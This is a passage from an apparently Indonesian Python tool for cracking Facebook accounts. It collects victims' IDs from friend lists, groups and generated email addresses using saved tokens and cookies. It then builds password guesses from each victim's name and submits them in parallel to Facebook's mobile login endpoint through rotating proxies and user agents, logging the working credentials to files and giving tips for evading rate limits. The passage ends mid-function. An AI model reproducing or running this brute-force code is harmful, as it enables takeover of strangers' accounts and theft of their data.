  447.                     lol.update({str(cih):str(isi)})
  448.                     lol.update({nom:str(isi)})
  449.                     print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  450.                 else:
  451.                     lol.update({str(cih):str(isi)})
  452.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  453.             geeh = input('└── [+] Pilih : ')
  454.             try:geh = lol[geeh]
  455.             except KeyError:
  456.                 print('└── [+] Pilih Yang Bener Kontol ')
  457.                 exit()
  458.             try:lin = open('CP/'+geh,'r').read().splitlines()
  459.             except:
  460.                 print('└── [+] File Tidak Di Temukan ')
  461.                 time.sleep(4)
  462.                 back()
  463.             nocp=0
  464.             for cpku in range(len(lin)):
  465.                 cpkuni=lin[nocp].split('|')
  466.                 cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
  467.                 sol().print(mark(cpkuh,style="yellow"))
  468.                 nocp +=1
  469.             input('[ Klik Enter ]')
  470.             back()
  471.     elif kz in ['1','01']:
  472.         try:vin = os.listdir('OK')
  473.         except FileNotFoundError:
  474.             print('└── [+] File Tidak Di Temukan ')
  475.             time.sleep(4)
  476.             back()
  477.         if len(vin)==0:
  478.             print('└── [+] Anda Tidak Mempunyai File OK ')
  479.             time.sleep(4)
  480.             back()
  481.         else:
  482.             cih = 0
  483.             lol = {}
  484.             for isi in vin:
  485.                 try:hem = open('OK/'+isi,'r').readlines()
  486.                 except:continue
  487.                 cih+=1
  488.                 if cih<80:
  489.                     nom = '0'+str(cih)
  490.                     lol.update({str(cih):str(isi)})
  491.                     lol.update({nom:str(isi)})
  492.                     print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  493.                 else:
  494.                     lol.update({str(cih):str(isi)})
  495.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  496.             geeh = input('└── [+] Pilih : ')
  497.             try:geh = lol[geeh]
  498.             except KeyError:
  499.                 print('└── [+] Pilih Yang Bener Kontol ')
  500.                 exit()
  501.             try:lin = open('OK/'+geh,'r').read().splitlines()
  502.             except:
  503.                 print('└── [+] File Tidak Di Temukan ')
  504.                 time.sleep(4)
  505.                 back()
  506.             nocp=0
  507.             for cpku in range(len(lin)):
  508.                 cpkuni=lin[nocp].split('|')
  509.                 cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
  510.                 sol().print(mark(cpkuh,style="green"))
  511.                 print(f'{hh}User-Agent : {x}{cpkuni[2]}')
  512.                 nocp +=1
  513.             input('[ Klik Enter ]')
  514.             back()
  515.     else:
  516.         print('└── [+] Pilih Yang Bener Kontol ')
  517.         exit()
  518.  
  519. #-----------------[ CRACK PUBLIK ]-----------------#
  520. def crack_publik():
  521.     try:
  522.         token = open('.token.txt','r').read()
  523.         kukis = open('.cok.txt','r').read()
  524.     except IOError:
  525.         exit()
  526.     cetak(panel('\t            [bold white]Ketik [bold green]Me[/] Jika Ingin Crack Pertemanan Sendiri',width=87,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] CRACK PUBLICK [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  527.     pil = input(f'└── [+] Masukan ID Target : ')
  528.     try:
  529.         koH = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookie': kukis}).json()
  530.         for pi in koH['friends']['data']:
  531.             try:id.append(pi['id']+'|'+pi['name'])
  532.             except:continue
  533.         print(f'└── [+] Total ID Yang Terkumpul : {h}'+str(len(id)))
  534.         setting()
  535.     except requests.exceptions.ConnectionError:
  536.         print('└── [+] Internet Lu Gak Ada Anjing')
  537.         exit()
  538.     except (KeyError,IOError):
  539.         print('└── [+] Pertemanan Tidak Publick Atau Cookie And Token Anda Busuk')
  540.         exit()
  541.  
  542. #-----------------[ CRACK GRUP ]-----------------#
  543. def crack_group():
  544.     try:
  545.         token = open('.token.txt','r').read()
  546.         cokies = open('.cok.txt','r').read()
  547.     except IOError:
  548.         print('└── [+] Cookies Kadaluarsa ')
  549.         time.sleep(5)
  550.         login()
  551.     cetak(nel('   [bold white]Pastikan Idz Grup Bersifat Publik , Mohon Bersabar Dump Id Grup Sangat Lambat',width=87,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] CRACK GROUP [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  552.     url = input(f'└── [+] Masukan Id Group : ')
  553.     kocak("https://mbasic.facebook.com/groups/"+url,cokies);setting()
  554.  
  555. def kocak(url,cokies):
  556.     data = parser(ses.get(url,cookies={"cookie": cokies}).text, "html.parser")
  557.     judul = re.findall("<title>(.*?)</title>",str(data))[0]
  558.     if str(judul) == 'Use basic mode':
  559.         print('\n└── [+] Cokies Berada Dalam Mode Free');exit()
  560.     if str(judul) == 'Epsilon':
  561.         print('\n└── [+] Cokies Tidak Dpt Mengakses Grup');exit()
  562.     if str(judul) == 'Kesalahan':
  563.         print('\n└── [+] Cokies Yg Anda Masukan Salah');exit()
  564.     if str(judul) == 'Masuk Facebook' or str(judul) == 'Masuk Facebook | Facebook' or str(judul) == 'Masuk ke Facebook' or str(judul) == 'Log in to Facebook':
  565.         print('\n└── [+] Cokies Mokad');exit()
  566.     else:
  567.         for isi in data.find_all("h3"):
  568.             for ids in isi.find_all("a",href=True):
  569.                 if "profile.php" in ids.get("href"):uid = ids.get("href").split("=")[1].replace("&eav","");nama = ids.text
  570.                 else:
  571.                     if ids.text==judul:pass
  572.                     else:uid = ids.get("href").split("/")[1].split("?")[0];nama = ids.text
  573.                 if uid+"|"+nama in id:pass
  574.                 else:id.append(uid+"|"+nama)
  575.                 print('\r└── [+]Mengumpulkan %s Id'%(len(id)),end='')
  576.         for x in data.find_all("a",href=True):
  577.             if "Lihat Postingan Lainnya" in x.text:
  578.                 kocak("https://mbasic.facebook.com"+x.get("href"),cokies)
  579.                                
  580. #-----------------[ CRACK EMAIL ]-----------------#
  581. def crack_email():
  582.     rc = random.choice
  583.     rr = random.randint
  584.     xc = ['andi','dwi','muhammad','nur','dewi','tri','dian','sri','putri','eka','sari','aditya','basuki','budi','joni','toni','cahya','riski','farhan','aden','joko']
  585.     blk = ['99','official','gaming','utama','123','1234','12345','123456','cakep']
  586.     global ok , cp
  587.     cetak(nel(f'[bold white]Masukan Satu Nama Email Yang Ingin Di Crack, Contoh : Rahmadani, Aprilia',width=87,padding=(0,5),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] CRACK USERNAME [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  588.     nama = console.input(f'└── [+] Masukan Nama : ')
  589.     if ',' in str(nama):
  590.         print(f"└── [+] Masukan Nama, Jangan Kosong Ngab")
  591.         time.sleep(3);exit()
  592.     cetak(nel(f'[bold white]Masukan Satu Nama Domain , Contoh : @gmail.com, @yahoo.com, Dll',width=87,padding=(0,10),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] MENU DOMAIN [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  593.     doma = console.input(f'└── [+] Masukan Nama Domain : ')
  594.     if '@' not in str(doma) or '.com' not in str(doma):
  595.         print(f"└── [+] Masukan Domain Dengan Benar")
  596.         time.sleep(3);exit()
  597.     cetak(nel(f'[bold white]Max Dump 10000 idz, Disarankan Menggunakan Metode Asyinc And Reguler',width=87,padding=(0,8),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] INFORMASI [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  598.     jumlah = console.input(f'└── [+] Total Dump : ')
  599.     for xyz in range(int(jumlah)):
  600.         A = nama
  601.         B = [f'{str(rc(xc))}',f'{str(rr(0,31))}',f'{str(rc(blk))}'f'{str(rc(xc))}{str(rr(0,31))}',f'{xyz}',f'{str(rc(blk))}{str(rr(0,31))}',f'{str(rc(xc))}{str(rc(blk))}']
  602.         C = doma
  603.         D = f'{A}{str(rc(B))}{C}'
  604.         if D in id:pass
  605.         else:id.append(D+'|'+nama)
  606.         if len(dump)==999999:setting()
  607.         sys.stdout.write(f"\r└── [+] Mengumpulkan {len(id)} Idz...");sys.stdout.flush()
  608.         time.sleep(0.0000003)
  609.     print("\r")
  610.     setting()  
  611.    
  612. #-----------------[ CRACK FILE ]-----------------#
  613. def crack_file():
  614.     try:vin = os.listdir('/sdcard/DUMP-FILE/')
  615.     except FileNotFoundError:
  616.         print(f'└── [+] File Tidak Ditemukan ')
  617.         time.sleep(2)
  618.         back()
  619.     if len(vin)==0:
  620.         print(f'└── [+] Kamu Tidak Memiliki File Dump ')
  621.         time.sleep(2)
  622.         back()
  623.     else:
  624.         cih = 0
  625.         lol = {}
  626.         for isi in vin:
  627.             try:hem = open('/sdcard/DUMP-FILE/'+isi,'r').readlines()
  628.             except:continue
  629.             cih+=1
  630.             if cih<100:
  631.                 nom = ''+str(cih)
  632.                 lol.update({str(cih):str(isi)})
  633.                 lol.update({nom:str(isi)})
  634.                 cetak(panel(f'[bold white][[bold cyan]0%s[bold white]] %s [bold yellow]([bold green]%s idz[bold yellow])'%(nom,isi,len(hem)),width=40,style=f"{color_panel}"))
  635.             else:
  636.                 lol.update({str(cih):str(isi)})
  637.                 print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  638.                 cetak(panel(f'[bold white][[bold cyan]0%s[bold white]] %s [bold yellow]([bold green]%s idz[bold yellow])'%(cih,isi,len(hem)),width=40,style=f"{color_panel}"))
  639.         hooh = input(f"└── [+] Pilih : ")
  640.         try:cuk = lol[hooh]
  641.         except KeyError:
  642.             print(f'└── [+] Pilih Yang Bener Kontol ')
  643.             time.sleep(3)
  644.             back()
  645.         try:lin = open('/sdcard/DUMP-FILE/'+cuk,'r').read().splitlines()
  646.         except:
  647.             print(f'└── [+] File Tidak Ditemukan, Coba Lagi Nanti ')
  648.             time.sleep(2)
  649.             back()
  650.         for idz in lin:
  651.             id.append(idz)
  652.         setting()
  653.        
  654. #-------------------[ CRACK-PUBLIK ]----------------#
  655. def crack_masal():
  656.     try:
  657.         token = open('.token.txt','r').read()
  658.         cok = open('.cok.txt','r').read()
  659.     except IOError:
  660.         exit()
  661.     try:
  662.         jum = int(input(f'└── [+] Berapa Target {x} : '))
  663.     except ValueError:
  664.         print('└── [+] Wrong input ')
  665.         exit()
  666.     if jum<1 or jum>80:
  667.         print(f'└── [+] Friendship Not Public  ')
  668.         exit()
  669.     ses=requests.Session()
  670.     yz = 0
  671.     for met in range(jum):
  672.         yz+=1
  673.         kl = input(f'└── [+] Masukan Id Ke'+str(yz)+' : ')
  674.         uid.append(kl)
  675.     for userr in uid:
  676.         try:
  677.             col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
  678.             for mi in col['friends']['data']:
  679.                 try:
  680.                     iso = (mi['id']+'|'+mi['name'])
  681.                     if iso in id:pass
  682.                     else:id.append(iso)
  683.                 except:continue
  684.         except (KeyError,IOError):
  685.             pass
  686.         except requests.exceptions.ConnectionError:
  687.             print('└── [+] Unstable Signal ')
  688.             exit()
  689.     try:
  690.         print(f'└── [+] Total Id Terkumpul{x} : {h}'+str(len(id)))
  691.         setting()
  692.     except requests.exceptions.ConnectionError:
  693.         print('└── [+] Unstable Signal ')
  694.         back()
  695.     except (KeyError,IOError):
  696.         print(f'└── [+] Friendship Not Public {x}')
  697.         time.sleep(3)
  698.         back()
  699.        
  700. #-------------[ PENGATURAN-IDZ ]---------------#
  701. def setting():
  702.     cetak(panel(f'[bold white][[bold cyan]01[/][bold white]][/] [bold white]Idz Old Ke New    [bold white][[bold red]No Recomend[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]02[/][bold white]][/] [bold white]Idz New Ke Old    [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]03[/][bold white]][/] [bold white]Idz Random        [bold white][[bold green]Vr Recomend[/][bold white]][/] [bold green][bold white] ',width=87,padding=(0,24),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] MENU IDZ [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  703.     hu = input(f'└── [+] Pilih Urutan Idz : ')
  704.     if hu in ['1','01']:
  705.         for tua in sorted(id):
  706.             id2.append(tua)
  707.     elif hu in ['3','03']:
  708.         muda=[]
  709.         for bacot in sorted(id):
  710.             muda.append(bacot)
  711.         bcm=len(muda)
  712.         bcmi=(bcm-1)
  713.         for xmud in range(bcm):
  714.             id2.append(muda[bcmi])
  715.             bcmi -=1
  716.     elif hu in ['2','02']:
  717.         for bacot in id:
  718.             xx = random.randint(0,len(id2))
  719.             id2.insert(xx,bacot)
  720.     else:
  721.         print(f'└── [+] Pilih Yang Bener Kontooll ')
  722.         exit()
  723.     urut = []
  724.     urut.append(panel(f'[bold white][[bold cyan]01[/][bold white]][/] [bold white]Mobile V1    [bold white][[bold green]Vr Recomend[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]02[/][bold white]][/] [bold white]Mbasic V1    [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]03[/][bold white]][/] [bold white]Mbasic V2    [bold white][[bold green]Vr Recomend[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]04[/][bold white]][/] [bold white]Free   V1    [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] ',width=43,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] VALIDATE [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  725.     urut.append(panel(f'[bold white][[bold cyan]05[/][bold white]][/] [bold white]Mobile V1    [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]06[/][bold white]][/] [bold white]Mbasic V1    [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]07[/][bold white]][/] [bold white]Mbasic V2    [bold white][[bold red]No Recomend[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]08[/][bold white]][/] [bold whitr]Free   V1    [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] ',width=43,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] REGULER [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  726.     console.print(Columns(urut))
  727.     cetak(panel(f'[bold white][[bold cyan]09[/][bold white]][/] [bold white]asyinc.facebook.com   [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]10[/][bold white]][/] [bold white]m.beta.facebook.com   [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]11[/][bold white]][/] [bold white]graph.facebook        [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]12[/][bold white]][/] [bold white]d.facebook.com        [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]13[/][bold white]][/] [bold white]m.alpha.facebook.com  [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] ',width=87,padding=(0,20),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] RANDOM [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  728.     jancok = input(f'└── [+] Pilih Menu Metode : ')
  729.     if jancok in ['1','01']:
  730.         method.append('validate1')
  731.     elif jancok in ['2','02']:
  732.         method.append('validate2')
  733.     elif jancok in ['3','03']:
  734.         method.append('validate3')
  735.     elif jancok in ['4','04']:
  736.         method.append('validate4')
  737.     elif jancok in ['5','05']:
  738.         method.append('reguler1')
  739.     elif jancok in ['6','06']:
  740.         method.append('reguler2')
  741.     elif jancok in ['7','07']:
  742.         method.append('reguler3')
  743.     elif jancok in ['8','08']:
  744.         method.append('reguler4')
  745.     elif jancok in ['9','09']:
  746.         method.append('metode1')
  747.     elif jancok in ['10']:
  748.         method.append('metode2')
  749.     elif jancok in ['11']:
  750.         method.append('metode3')
  751.     elif jancok in ['12']:
  752.         method.append('metode4')
  753.     elif jancok in ['13']:
  754.         method.append('metode5')
  755.     else:
  756.         method.append('validate1')
  757.         back()
  758.        
  759.     cetak(panel('''[bold white][[bold cyan]01[bold white]] [bold white]Menggunakan Pw V1 [[bold green]Version Slow[bold white]]
  760. [bold white][[bold cyan]02[bold white]] [bold white]Menggunakan Pw V2 [[bold green]Version fash[bold white]][bold white]
  761. [bold white][[bold cyan]03[bold white]] [bold white]Menggunakan Pw V3 [[bold green]V2 & Manuall[bold white]][bold white]''',width=87,padding=(0,24),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] MENU PASSWORD [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  762.     pwplus=input(f'└── [+] Pilih Sandi : ')
  763.     if pwplus in ['03','3']:
  764.         pwpluss.append('ya')
  765.         pwku=input(f'└── [+] Sandi : ')
  766.         pwkuh=pwku.split(',')
  767.         for xpw in pwkuh:
  768.             pwnya.append(xpw)
  769.     else:
  770.         pwpluss.append('no')
  771.    
  772.     cetak(panel(f'      [bold white]Apakah Anda Ingin Menampilkan Aplikasi Yang Terkait Di Dalam Akun ? Y/T',width=87,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] CHECK APK [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  773.     _brayen_ = input(f'└── [+] Pilih : ')
  774.     if _brayen_ in ['']:
  775.         print('└── [+] Pilih Yang Bener Kontol ')
  776.         exit()
  777.     elif _brayen_ in ['y','Y']:
  778.         taplikasi.append('ya')
  779.     else:
  780.         taplikasi.append('no')
  781.        
  782.     cetak(panel(f'      [bold white]Apakah Anda Ingin Menampilkan Opsi Checkpoint Di Dalam Akun ? Y/T',width=87,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] CHECK OPSI [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  783.     _brayen_ = input('└── [+] Pilih : ')
  784.     if _brayen_ in ['']:
  785.         print('└── [+] Pilih Yang Bener Kontol ')
  786.         exit()
  787.     elif _brayen_ in ['y','Y']:
  788.         gabriel.append('ya')
  789.     else:
  790.         gabriel.append('no')
  791.    
  792.     cetak(panel(f'[bold white]    Apakah Ingin Mengunakan User-Agent Manual Untuk Melakukan Crack Account ? Y/T',width=87,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] UGENT MANUAL [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  793.     uatambah = input(f'└── [+] Pilih : ')
  794.     if uatambah in ['y','Ya','ya','Y']:
  795.         ualuh.append('ya')
  796.         bzer = input(f'└── [+] Masukan User-Agent : ')
  797.         ualu.append(bzer)
  798.     else:
  799.         ualuh.append('tidak')
  800.     passwrd()
  801.    
  802. #-------------------[ BAGIAN-WORDLIST ]------------#
  803. def passwrd():
  804.     global prog,des
  805.     urut = []
  806.     urut.append(panel(f'        [bold green]%s [bold white]'%(okc),width=43,title=f"[bold red]★[bold yellow]★[bold green]★[bold green] OK SAVE IN [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  807.     urut.append(panel(f'         [bold yellow]%s [bold white]'%(cpc),width=43,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] CP SAVE IN [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  808.     wa.print(Columns(urut))
  809.     cetak(panel(f'[bold white]     Mainkan Mode Pesawat Setiap 400 Idz, Agar Tidak Terkena Dampak Spam Ip 😱   ',width=87,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] WARNING [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  810.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  811.     des = prog.add_task('',total=len(id2))
  812.     with prog:
  813.         with tred(max_workers=30) as pool:
  814.             for yuzong in id2:
  815.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  816.                 frs = nmf.split(" ")[0]
  817.                 pwv = []
  818.                 if len(nmf)<6:
  819.                     if len(frs)<3:
  820.                         pass
  821.                     else:
  822.                         pwv.append(nmf)
  823.                         pwv.append(frs+'123')
  824.                         pwv.append(frs+'1234')
  825.                         pwv.append(frs+'12345')
  826.                         pwv.append(frs+'123456')
  827.                         pwv.append(frs+'321')
  828.                 else:
  829.                     if len(frs)<3:
  830.                         pwv.append(nmf)
  831.                     else:
  832.                         pwv.append(nmf)
  833.                         pwv.append(frs+'123')
  834.                         pwv.append(frs+'1234')
  835.                         pwv.append(frs+'12345')
  836.                 if 'ya' in pwpluss:
  837.                     for xpwd in pwnya:
  838.                         pwv.append(xpwd)
  839.                 else:pass
  840.                 if 'validate1' in method:
  841.                     pool.submit(metod1,idf,pwv)
  842.                 elif 'validate2' in method:
  843.                     pool.submit(metod2,idf,pwv)
  844.                 elif 'validate3' in method:
  845.                     pool.submit(metod3,idf,pwv)
  846.                 elif 'validate4' in method:
  847.                     pool.submit(metod4,idf,pwv)
  848.                 elif 'reguler1' in method:
  849.                     pool.submit(metod5,idf,pwv)
  850.                 elif 'reguler2' in method:
  851.                     pool.submit(metod6,idf,pwv)
  852.                 elif 'reguler3' in method:
  853.                     pool.submit(metod7,idf,pwv)
  854.                 elif 'reguler4' in method:
  855.                     pool.submit(metod8,idf,pwv)
  856.                 elif 'metode1' in method:
  857.                     pool.submit(metod9,idf,pwv)
  858.                 elif 'metode2' in method:
  859.                     pool.submit(metod10,idf,pwv)
  860.                 elif 'metode3' in method:
  861.                     pool.submit(metod11,idf,pwv)
  862.                 elif 'metode4' in method:
  863.                     pool.submit(metod12,idf,pwv)
  864.                 elif 'metode5' in method:
  865.                     pool.submit(metod13,idf,pwv)
  866.                 else:
  867.                     pool.submit(metod1,idf,pwv)
  868.     cetak(panel(f'[bold white]            Crack Telah Selesai Semoga Anda Bersyukur Dengan Hasilnya 🙂  ',width=87,style=f"{color_panel}"))
  869.     cetak(panel(f'[bold white]Kalo Gak Bisa Login/Kata Sandi Salah Gw Saranin Login Pakek Cookies, Cookies Otomatis Ke Simpan Di Internal Folder Ok, Login Cookiesnya Lewat Kiwi/Fb Lite Plus , Udah Itu Aja Semoga Bermanfaat 🙂  ',width=87,title=f"[bold red]WARNING",style=f"{color_panel}"))
  870.     print(f'└── [+] {K}OK : {H}{ok} ')
  871.     print(f'└── [+] {K}CP : {K}{cp} ')
  872.    
  873. #--------------------[ METODE VALIDATE ]-----------------#
  874. def metod1(idf,pwv):
  875.     global loop,ok,cp
  876.     prog.update(des,description=f"[bold green]Mobile V1[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  877.     prog.advance(des)
  878.     ua = random.choice(ugen)
  879.     ua2 = random.choice(ugen2)
  880.     ses = requests.Session()
  881.     for pw in pwv:
  882.         try:
  883.             if 'ya' in ualuh: ua = ualu[0]
  884.             nip=random.choice(prox)
  885.             proxs= {'http': 'socks4://'+nip}
  886.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  887.             p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  888.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
  889.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  890.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  891.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  892.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False)
  893.             if "checkpoint" in po.cookies.get_dict().keys():
  894.                 if 'no' in gabriel:
  895.                     cp+=1
  896.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  897.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  898.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  899.                     cetak(CYXID)
  900.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  901.                     akun.append(idf+'|'+pw)
  902.                     break
  903.                    
  904.                 if 'no' in gabriel:
  905.                     cp+=1
  906.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  907.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  908.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  909.                     cetak(CYXID)
  910.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  911.                     akun.append(idf+'|'+pw)
  912.                     ceker(idf,pw)
  913.                     break
  914.             elif "c_user" in ses.cookies.get_dict().keys():
  915.                 if 'no' in taplikasi:
